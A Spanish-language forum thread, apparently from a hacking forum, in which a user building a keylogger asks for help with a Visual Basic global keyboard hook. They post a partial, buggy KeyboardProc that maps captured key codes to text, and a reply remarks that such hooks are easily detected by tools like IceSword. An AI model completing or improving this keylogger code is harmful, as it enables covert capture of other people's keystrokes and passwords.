Hola. Estoy creando un keylogger. Al principio utilizaba GetAsyncKeyState, pero me di cuenta de que era mejor utilizar un hook. Estuve viendo varios códigos, por ejemplo este:

http://www.hackstore.net/forum/index.php?topic=13582.msg322430

El problema es que las teclas se almacenan en un array, y lo que intenté hacer era que detectase si la variable keyCode era igual al valor de una tecla establecida, se introdujese en la variable que guarda el resultado del keylogger, pero no fui capaz. ¿Alguna idea?

Gracias de antemano.

No es que mostrase un error, el IDE de VB se me cerraba repentinamente y me mostraba el típico error de enviar o no el informe de errores.

Saludos.

El hook global de teclado funciona bien pero tiene una desventaja muy grande, con cualquier programa como ser el IceSword se puede detectar a simple vesta.

Sustituí el código que mencioné arriba por otro que comprobaba si el valor de keyCode era igual al valor de una tecla. Antes de hacerlo funcionaba correctamente.

Saludos.

Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
 
'Comprobamos que se haya pulsado una tecla
If wParam = WM_KEYDOWN Then
    'copiamos el codigo de la tecla(no es el ASCII , se manejan codigos aparte)
 Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
 keyCode = hookKey.code
 
Select Case keyCode
    Case 8
        TextoKeylogger = "[TAB]"
End Select
 
End If
 
 
'Si no se reconoce la tecla pulsada, se pasa de largo
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function

Solo con eso ya me falla, y se llama perfectamente a CallNextHookEx. No sé en que me equivoqué.

Saludos.